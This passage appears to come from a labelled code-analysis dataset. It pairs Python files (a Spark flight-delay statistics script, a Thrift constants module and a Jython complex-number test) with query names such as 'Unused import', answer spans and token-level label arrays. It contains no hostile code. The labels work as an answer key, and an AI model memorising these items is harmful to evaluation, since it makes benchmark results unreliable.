[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
bbengfort/hadoop-fundamentals/describe/spark-app.py
[ { "content": "#!/usr/bin/env python\n# spark-app.py\n# A Spark application that computes the summary statistics of arrival delays.\n#\n# Author: Benjamin Bengfort <benjamin@bengfort.com>\n# Created: Tue Dec 01 15:13:56 2015 -0500\n\n\"\"\"\nA Spark application that computes the summary statistics of arrival delays.\n\"\"\"\n\n##########################################################################\n## Imports\n##########################################################################\n\nimport os\nimport sys\nimport csv\nimport math\n\nfrom functools import partial\nfrom StringIO import StringIO\nfrom pyspark import SparkConf, SparkContext\n\n##########################################################################\n## Global Variables\n##########################################################################\n\nAPP_NAME = \"Summary Statistics of Arrival Delay by Airport\"\nDATASET = os.path.join(os.path.dirname(__file__), \"..\", \"data\", \"ontime\", \"flights.csv\")\n\n##########################################################################\n## Helper functions\n##########################################################################\n\n\n\n\n##########################################################################\n## Primary Analysis and Main Method\n##########################################################################\n\n\nif __name__ == '__main__':\n # Configure Spark\n conf = SparkConf().setAppName(APP_NAME)\n sc = SparkContext(conf=conf)\n\n # Execute Main functionality\n main(sc)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def counters(line):\n \"\"\"\n Splits the line on a CSV and parses it into the key and summary counters.\n A counter is as follows: (count, total, square, minimum, maximum).\n \"\"\"\n reader = csv.reader(StringIO(line), delimiter=',')\n row = reader.next()\n\n airport = row[4]\n\n try:\n delay = float(row[8])\n except ValueError:\n delay = 0.0\n\n return (airport, (1, delay, delay ** 2, delay, delay))", "metadata": "root.counters", "header": "['module', '___EOS___']", "index": 35 }, { "content": "def aggregation(item1, item2):\n \"\"\"\n For an (airport, counters) item, perform summary aggregations.\n \"\"\"\n count1, total1, squares1, min1, max1 = item1\n count2, total2, squares2, min2, max2 = item2\n\n minimum = min((min1, min2))\n maximum = max((max1, max2))\n count = count1 + count2\n total = total1 + total2\n squares = squares1 + squares2\n\n return (count, total, squares, minimum, maximum)", "metadata": "root.aggregation", "header": "['module', '___EOS___']", "index": 52 }, { "content": "def summary(aggregate):\n \"\"\"\n Compute summary statistics from aggregation.\n \"\"\"\n (airport, (count, total, square, minimum, maximum)) = aggregate\n\n try:\n mean = total / float(count)\n stddev = math.sqrt((square-(total**2)/count)/count-1)\n\n return (airport, (count, mean, stddev, minimum, maximum))\n except Exception:\n return (airport, (count, None, None, minimum, maximum))", "metadata": "root.summary", "header": "['module', '___EOS___']", "index": 67 }, { "content": "def main(sc):\n \"\"\"\n Primary analysis mechanism for Spark application\n \"\"\"\n\n # Load data set and parse out statistical counters\n delays = sc.textFile(DATASET).map(counters)\n\n # Perform summary aggregation by key\n delays = delays.reduceByKey(aggregation)\n delays = delays.map(summary)\n\n # Write the results out to disk\n delays.saveAsTextFile(\"delays-summary\")", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 85 } ]
[ { "span": "import sys", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 10 }, { "span": "from functools import partial", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 29 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "spark", "-", "app", ".", "py_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "Spar", "k", " ", "applica", "tion", " ", "tha", "t", " ", "compute", "s", " ", "the", " ", "summar", "y", " ", "statistic", "s", " ", "of", " ", "arrival", " ", "delays", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", ":", " ", " ", " ", "Ben", "jam", "in", " ", "Ben", "gf", "ort", " ", "<", "ben", "jam", "in", "@", "ben", "gf", "ort", ".", "com", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "ed", ":", " ", " ", "Tu", "e", " ", "De", "c", " ", "01", " ", "15", ":", "13", ":", "56", " ", "201", "5", " ", "-0", "500_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "A", " ", "Spar", "k", " ", "applica", "tion", " ", "tha", "t", " ", "compute", "s", " ", "the", " ", "summar", "y", " ", "statistic", "s", " ", "of", " ", "arrival", " ", "delays", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Imports", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "csv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "functools_", "import_", "partial_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyspark_", "import_", "Spar", "k", "Conf_", ",_", "Spar", "k", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Global", " ", "Variables_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "APP", "\\u", "NAME_", "=_", "\"", "Summ", "ary", " ", "Statistic", "s", " ", "of", " ", "Arriv", "al", " ", "Delay", " ", "by", " ", "Air", "port", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "DATASET", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ",_", "\"..\"_", ",_", "\"", "data", "\"_", ",_", "\"", "onti", "me", "\"_", ",_", "\"", "flight", "s", ".", "csv", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Help", "er", " ", "functions_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Prim", "ary", " ", "Analy", "sis", " ", "and", " ", "Main", " ", "Method_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Configure", " ", "Spar", "k_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conf_", "=_", "Spar", "k", "Conf_", "(_", ")_", "._", "set", "App", "Name_", "(_", "APP", "\\u", "NAME_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sc_", "=_", "Spar", "k", "Context_", "(_", "conf_", "=_", "conf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Execut", "e", " ", "Main", " ", "functional", "ity_", "\\u\\u\\uNL\\u\\u\\u_", "main_", "(_", "sc_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "counters_", "(_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Split", "s", " ", "the", " ", "line", " ", "on", " ", "a", " ", "CSV", " ", "and", " ", "parse", "s", " ", "it", " ", "int", "o", " ", "the", " ", "key", " ", "and", " ", "summar", "y", " ", "counter", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "counter", " ", "is", " ", "as", " ", "follow", "s", ":", " ", "(", "count", ",", " ", "total", ",", " ", "square", ",", " ", "minim", "um", ",", " ", "maxim", "um", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reader_", "=_", "csv_", "._", "reader_", "(_", "String", "IO_", "(_", "line_", ")_", ",_", "delimiter_", "=_", "','_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "row_", "=_", "reader_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "airport", "_", "=_", "row_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delay_", "=_", "float_", "(_", "row_", "[_", "8_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delay_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "airport", "_", ",_", "(_", "1_", ",_", "delay_", ",_", "delay_", "**_", "2_", ",_", "delay_", ",_", "delay_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "aggregation_", "(_", "item1_", ",_", "item2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "an", " ", "(", "airport", ",", " ", "counter", "s", ")", " ", "item", ",", " ", "perform", " ", "summar", "y", " ", "aggregation", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count", "1_", ",_", "total", "1_", ",_", "square", "s1_", ",_", "min", "1_", ",_", "max", "1_", "=_", "item1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count", "2_", ",_", "total", "2_", ",_", "square", "s2_", ",_", "min", "2_", ",_", "max", "2_", "=_", "item2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "minimum_", "=_", "min_", "(_", "(_", "min", "1_", ",_", "min", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "maximum_", "=_", "max_", "(_", "(_", "max", "1_", ",_", "max", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "count", "1_", "+_", "count", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "=_", "total", "1_", "+_", "total", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "squares_", "=_", "square", "s1_", "+_", "square", "s2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "(_", "count_", ",_", "total_", ",_", "squares_", ",_", "minimum_", ",_", "maximum_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "summary_", "(_", "aggregate_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", " ", "summar", "y", " ", "statistic", "s", " ", "from", " ", "aggregation", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "airport", "_", ",_", "(_", "count_", ",_", "total_", ",_", "square_", ",_", "minimum_", ",_", "maximum_", ")_", ")_", "=_", "aggregate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mean_", "=_", "total_", "/_", "float_", "(_", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stddev_", "=_", "math_", "._", "sqrt_", "(_", "(_", "square_", "-_", "(_", "total_", "**_", "2_", ")_", "/_", "count_", ")_", "/_", "count_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "(_", "airport", "_", ",_", "(_", "count_", ",_", "mean_", ",_", "stddev_", ",_", "minimum_", ",_", "maximum_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "airport", "_", ",_", "(_", "count_", ",_", "None_", ",_", "None_", ",_", "minimum_", ",_", "maximum_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", "sc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Prim", "ary", " ", "analys", "is", " ", "mechanism", " ", "for", " ", "Spar", "k", " ", "applica", "tion", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Load", " ", "data", " ", "set", " ", "and", " ", "parse", " ", "out", " ", "statistic", "al", " ", "counters_", "\\u\\u\\uNL\\u\\u\\u_", "delays", "_", "=_", "sc_", "._", "text", "File_", "(_", "DATASET", "_", ")_", "._", "map_", "(_", "counters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Perform", " ", "summar", "y", " ", "aggregation", " ", "by", " ", "key_", "\\u\\u\\uNL\\u\\u\\u_", "delays", "_", "=_", "delays", "_", "._", "reduce", "By", "Key_", "(_", "aggregation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delays", "_", "=_", "delays", "_", "._", "map_", "(_", "summary_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Write", " ", "the", " ", "results", " ", "out", " ", "to", " ", "disk_", "\\u\\u\\uNL\\u\\u\\u_", "delays", "_", "._", "save", "As", "Text", "File_", "(_", "\"", "delays", "-", "summar", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
bshillingford/python-line/line/linethrift/constants.py
[ { "content": "#\n# Autogenerated by Thrift Compiler (0.9.1)\n#\n# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING\n#\n# options string: py:new_style\n#\n\nfrom thrift.Thrift import TType, TMessageType, TException, TApplicationException\nfrom ttypes import *\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from thrift.Thrift import TType, TMessageType, TException, TApplicationException", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 80 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Auto", "generat", "ed", " ", "by", " ", "Thri", "ft", " ", "Compil", "er", " ", "(", "0.", "9.1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "DO", " ", "NOT", " ", "EDIT", " ", "UNL", "ESS", " ", "YOU", " ", "ARE", " ", "SUR", "E", " ", "THA", "T", " ", "YOU", " ", "KN", "OW", " ", "WH", "AT", " ", "YOU", " ", "ARE", " ", "DOI", "NG_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "options", " ", "string", ":", " ", "py", ":", "new", "\\u", "style_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "thrift", "_", "._", "Thri", "ft_", "import_", "TT", "ype_", ",_", "TM", "essage", "Type_", ",_", "TE", "xcept", "ion_", ",_", "TA", "ppl", "ication", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ttype", "s_", "import_", "*_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
azoft-dev-team/imagrium/env/Lib/test/test_complex.py
[ { "content": " def assertCloseAbs(self, x, y, eps=1e-9):\n \"\"\"Return true iff floats x and y \"are close\\\"\"\"\"\n # put the one with larger magnitude second\n if abs(x) > abs(y):\n x, y = y, x\n if y == 0:\n return abs(x) < eps\n if x == 0:\n return abs(y) < eps\n # check that relative difference < eps\n self.assertTrue(abs((x-y)/y) < eps)", "metadata": "root.ComplexTest.assertCloseAbs", "header": "['class', 'ComplexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 27 }, { "content": " def test_no_implicit_coerce(self):\n # Python 2.7 removed implicit coercion from the complex type\n class A(object):\n def __coerce__(self, other):\n raise RuntimeError\n __hash__ = None\n def __cmp__(self, other):\n return -1\n\n a = A()\n self.assertRaises(TypeError, lambda: a + 2.0j)\n self.assertTrue(a < 2.0j)", "metadata": "root.ComplexTest.test_no_implicit_coerce", "header": "['class', 'ComplexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 117 }, { "content": " def test_constructor(self):\n class OS:\n def __init__(self, value): self.value = value\n def __complex__(self): return self.value\n class NS(object):\n def __init__(self, value): self.value = value\n def __complex__(self): return self.value\n self.assertEqual(complex(OS(1+10j)), 1+10j)\n self.assertEqual(complex(NS(1+10j)), 1+10j)\n self.assertRaises(TypeError, complex, OS(None))\n self.assertRaises(TypeError, complex, NS(None))\n\n self.assertAlmostEqual(complex(\"1+10j\"), 1+10j)\n self.assertAlmostEqual(complex(10), 10+0j)\n self.assertAlmostEqual(complex(10.0), 10+0j)\n self.assertAlmostEqual(complex(10L), 10+0j)\n self.assertAlmostEqual(complex(10+0j), 10+0j)\n self.assertAlmostEqual(complex(1,10), 1+10j)\n self.assertAlmostEqual(complex(1,10L), 1+10j)\n self.assertAlmostEqual(complex(1,10.0), 1+10j)\n self.assertAlmostEqual(complex(1L,10), 1+10j)\n self.assertAlmostEqual(complex(1L,10L), 1+10j)\n self.assertAlmostEqual(complex(1L,10.0), 1+10j)\n self.assertAlmostEqual(complex(1.0,10), 1+10j)\n self.assertAlmostEqual(complex(1.0,10L), 1+10j)\n self.assertAlmostEqual(complex(1.0,10.0), 1+10j)\n self.assertAlmostEqual(complex(3.14+0j), 3.14+0j)\n self.assertAlmostEqual(complex(3.14), 3.14+0j)\n self.assertAlmostEqual(complex(314), 314.0+0j)\n self.assertAlmostEqual(complex(314L), 314.0+0j)\n self.assertAlmostEqual(complex(3.14+0j, 0j), 3.14+0j)\n self.assertAlmostEqual(complex(3.14, 0.0), 3.14+0j)\n self.assertAlmostEqual(complex(314, 0), 314.0+0j)\n self.assertAlmostEqual(complex(314L, 0L), 314.0+0j)\n self.assertAlmostEqual(complex(0j, 3.14j), -3.14+0j)\n self.assertAlmostEqual(complex(0.0, 3.14j), -3.14+0j)\n self.assertAlmostEqual(complex(0j, 3.14), 3.14j)\n self.assertAlmostEqual(complex(0.0, 3.14), 3.14j)\n self.assertAlmostEqual(complex(\"1\"), 1+0j)\n self.assertAlmostEqual(complex(\"1j\"), 1j)\n self.assertAlmostEqual(complex(), 0)\n self.assertAlmostEqual(complex(\"-1\"), -1)\n self.assertAlmostEqual(complex(\"+1\"), +1)\n #FIXME: these are not working in Jython.\n #self.assertAlmostEqual(complex(\"(1+2j)\"), 1+2j)\n #self.assertAlmostEqual(complex(\"(1.3+2.2j)\"), 1.3+2.2j)\n self.assertAlmostEqual(complex(\"3.14+1J\"), 3.14+1j)\n #FIXME: these are not working in Jython.\n #self.assertAlmostEqual(complex(\" ( +3.14-6J )\"), 3.14-6j)\n #self.assertAlmostEqual(complex(\" ( +3.14-J )\"), 3.14-1j)\n #self.assertAlmostEqual(complex(\" ( +3.14+j )\"), 3.14+1j)\n self.assertAlmostEqual(complex(\"J\"), 1j)\n #FIXME: this is not working in Jython.\n #self.assertAlmostEqual(complex(\"( j )\"), 1j)\n self.assertAlmostEqual(complex(\"+J\"), 1j)\n #FIXME: this is not working in Jython.\n #self.assertAlmostEqual(complex(\"( -j)\"), -1j)\n self.assertAlmostEqual(complex('1e-500'), 0.0 + 0.0j)\n self.assertAlmostEqual(complex('-1e-500j'), 0.0 - 0.0j)\n self.assertAlmostEqual(complex('-1e-500+1e-500j'), -0.0 + 0.0j)\n\n class complex2(complex): pass\n self.assertAlmostEqual(complex(complex2(1+1j)), 1+1j)\n self.assertAlmostEqual(complex(real=17, imag=23), 17+23j)\n self.assertAlmostEqual(complex(real=17+23j), 17+23j)\n self.assertAlmostEqual(complex(real=17+23j, imag=23), 17+46j)\n self.assertAlmostEqual(complex(real=1+2j, imag=3+4j), -3+5j)\n\n # check that the sign of a zero in the real or imaginary part\n # is preserved when constructing from two floats. (These checks\n # are harmless on systems without support for signed zeros.)\n def split_zeros(x):\n \"\"\"Function that produces different results for 0. and -0.\"\"\"\n return atan2(x, -1.)\n\n self.assertEqual(split_zeros(complex(1., 0.).imag), split_zeros(0.))\n #FIXME: this is not working in Jython.\n #self.assertEqual(split_zeros(complex(1., -0.).imag), split_zeros(-0.))\n self.assertEqual(split_zeros(complex(0., 1.).real), split_zeros(0.))\n self.assertEqual(split_zeros(complex(-0., 1.).real), split_zeros(-0.))\n\n c = 3.14 + 1j\n self.assertTrue(complex(c) is c)\n del c\n\n self.assertRaises(TypeError, complex, \"1\", \"1\")\n self.assertRaises(TypeError, complex, 1, \"1\")\n\n if test_support.have_unicode:\n self.assertEqual(complex(unicode(\" 3.14+J \")), 3.14+1j)\n\n # SF bug 543840: complex(string) accepts strings with \\0\n # Fixed in 2.3.\n self.assertRaises(ValueError, complex, '1+1j\\0j')\n\n self.assertRaises(TypeError, int, 5+3j)\n self.assertRaises(TypeError, long, 5+3j)\n self.assertRaises(TypeError, float, 5+3j)\n self.assertRaises(ValueError, complex, \"\")\n self.assertRaises(TypeError, complex, None)\n self.assertRaises(ValueError, complex, \"\\0\")\n self.assertRaises(ValueError, complex, \"3\\09\")\n self.assertRaises(TypeError, complex, \"1\", \"2\")\n self.assertRaises(TypeError, complex, \"1\", 42)\n self.assertRaises(TypeError, complex, 1, \"2\")\n self.assertRaises(ValueError, complex, \"1+\")\n self.assertRaises(ValueError, complex, \"1+1j+1j\")\n self.assertRaises(ValueError, complex, \"--\")\n self.assertRaises(ValueError, complex, \"(1+2j\")\n self.assertRaises(ValueError, complex, \"1+2j)\")\n self.assertRaises(ValueError, complex, \"1+(2j)\")\n 